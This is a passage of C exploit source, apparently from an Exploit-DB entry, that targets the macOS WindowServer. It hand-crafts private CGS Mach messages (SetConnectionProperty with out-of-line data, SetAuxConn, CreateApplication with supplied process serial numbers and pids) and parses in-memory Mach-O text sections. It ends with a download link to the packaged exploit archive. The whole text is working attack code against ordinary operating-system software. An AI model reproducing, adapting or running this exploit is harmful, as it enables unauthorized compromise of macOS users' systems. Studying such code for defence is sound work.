    struct load_command *next_command;
    ENFORCE(dylib_header->ncmds < 0x100, fail);
    for (uint32_t cmd_i = 0; cmd_i < dylib_header->ncmds; cmd_i++, load_command = next_command)
    {
    ENFORCE(load_command->cmdsize <= max_size, fail);
    ENFORCE(load_command->cmdsize >= sizeof(struct load_command), fail);
    next_command = (struct load_command *)((uintptr_t)load_command + load_command->cmdsize);
    max_size -= load_command->cmdsize;
    
    if (load_command->cmd != LC_SEGMENT_64)
    continue;
    
    ENFORCE(load_command->cmdsize >= sizeof(struct segment_command_64), fail);
    struct segment_command_64 *segment_command_64 = (struct segment_command_64 *)load_command;
    if (strcmp(segment_command_64->segname, "__TEXT") != 0)
    continue;
    struct section_64 *sections = (struct section_64 *)(segment_command_64 + 1);
    ENFORCE(segment_command_64->nsects < 0x100, fail);
    ENFORCE(load_command->cmdsize == sizeof(struct segment_command_64) + segment_command_64->nsects*sizeof(struct section_64), fail);
    for (uint32_t sect_i = 0; sect_i < segment_command_64->nsects; sect_i++)
    {
    if (strcmp(sections[sect_i].sectname, "__text") != 0)
    continue;
    *text_address = (void *)(sections[sect_i].addr + _dyld_get_image_vmaddr_slide(i));
    *text_size = sections[sect_i].size;
    return 0;
    }
    }
    }
    fail:
    return -1;
    }
    
    #pragma pack(push, 4)
    typedef struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_ool_descriptor_t ool_serialized_value;
    NDR_record_t NDR_record;
    uint64_t connection_id;
    uint32_t key_len;
    char key[128];
    uint32_t serialized_value_length;
    } CGSSetConnectionProperty_message_t;
    #pragma pack(pop)
    
    static mach_msg_return_t _CGSSetConnectionProperty(mach_port_t connection_port, int connection_id, const char *key_value, const void *serialized_value, uint32_t serialized_value_length, bool deallocate)
    {
    CGSSetConnectionProperty_message_t msg;
    memset(&msg, 0, sizeof(msg));
    
    msg.body.msgh_descriptor_count = 1;
    
    msg.ool_serialized_value.type = MACH_MSG_OOL_DESCRIPTOR;
    msg.ool_serialized_value.address = (void *)serialized_value;
    msg.ool_serialized_value.size = serialized_value_length;
    msg.ool_serialized_value.deallocate = deallocate;
    msg.ool_serialized_value.copy = MACH_MSG_VIRTUAL_COPY;
    
    msg.NDR_record = NDR_record;
    msg.connection_id = connection_id;
    strncpy(msg.key, key_value, sizeof(msg.key));
    msg.key_len = 127;
    msg.serialized_value_length = serialized_value_length;
    
    
    msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
    msg.header.msgh_remote_port = connection_port;
    msg.header.msgh_id = 29398;
    
    kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, 0, 0, 0);
    return kr;
    }
    
    
    #pragma pack(push, 4)
    typedef struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_ool_descriptor_t ool_serialized_value;
    NDR_record_t NDR_record;
    uint32_t serialized_value_length;
    } CGSSetPerUserConfigurationData_message_t;
    #pragma pack(pop)
    
    #pragma pack(push, 4)
    typedef struct {
    mach_msg_header_t header;
    NDR_record_t NDR_record;
    uint64_t process_serial_number;
    uint32_t connection_id;
    } CGSSetAuxConn_message_t;
    #pragma pack(pop)
    
    static mach_msg_return_t _CGSSetAuxConn(uint32_t connection_id, ProcessSerialNumber *process_serial_number)
    {
    CGSSetAuxConn_message_t msg;
    memset(&msg, 0, sizeof(msg));
    
    msg.connection_id = connection_id;
    msg.process_serial_number = *(uint64_t *)process_serial_number;
    
    msg.NDR_record = NDR_record;
    
    msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0);
    msg.header.msgh_remote_port = CGSGetConnectionPortById(connection_id);
    msg.header.msgh_id = 29368;
    
    return mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, 0, 0, 0);
    }
    
    #pragma pack(push, 4)
    typedef struct {
    mach_msg_header_t header;
    NDR_record_t NDR_record;
    ProcessSerialNumber sn;
    uint32_t session_id;
    uint32_t session_attributes;
    uint32_t unknown_2;
    uint32_t pid;
    uint32_t padding_1;
    uint32_t app_name_len;
    char app_name[128];
    char multi_process;
    uint32_t connection_id;
    uint32_t padding_2;
    } CGSCreateApplication_message_t;
    
    typedef struct {
    mach_msg_header_t header;
    NDR_record_t NDR_record;
    kern_return_t retcode;
    } CGSCreateApplication_reply_t;
    #pragma pack(pop)
    
    static mach_msg_return_t _CGSCreateApplication(uint32_t connection_id, ProcessSerialNumber sn, uint32_t session_id, uint32_t session_attributes, uint32_t unknown_2, pid_t pid, char *app_name, char multi_process, uint32_t sent_connection_id)
    {
    CGSCreateApplication_message_t msg;
    memset(&msg, 0, sizeof(msg));
    
    msg.connection_id = connection_id;
    msg.sn = sn;
    msg.session_id = session_id;
    msg.session_attributes = session_attributes;
    msg.unknown_2 = unknown_2;
    msg.pid = pid;
    strncpy(msg.app_name, app_name, sizeof(msg.app_name));
    msg.app_name_len = 127;
    msg.multi_process = multi_process;
    msg.connection_id = sent_connection_id;
    
    msg.NDR_record = NDR_record;
    
    msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    msg.header.msgh_remote_port = CGSGetConnectionPortById(connection_id);
    msg.header.msgh_id = 29507;
    msg.header.msgh_local_port = mig_get_reply_port();
    
    mach_msg_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG|MACH_RCV_MSG, sizeof(msg), sizeof(msg), msg.header.msgh_local_port, 0, 0);
    if (kr != KERN_SUCCESS)
    {
    switch (kr) {
    case MACH_SEND_INVALID_DATA:
    case MACH_SEND_INVALID_DEST:
    case MACH_SEND_INVALID_HEADER:
    mig_put_reply_port(msg.header.msgh_local_port);
    break;
    default: 
    mig_dealloc_reply_port(msg.header.msgh_local_port);
    }
    }
    else
    kr = ((CGSCreateApplication_reply_t *)&msg)->retcode;
    return kr;
    }
    
    
    static void timed_log(char* format, ...)
    {
    char buffer[30];
    
    struct tm* time_info;
    time_t t = time(NULL);
    time_info = localtime(&t);
    strftime(buffer, 30, "%Y-%m-%d %H:%M:%S ", time_info);
    fputs(buffer, stderr);
    
    va_list args;
    va_start(args, format);
    vfprintf(stderr, format, args);
    va_end(args);
    }
    
    
    # Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46428.zip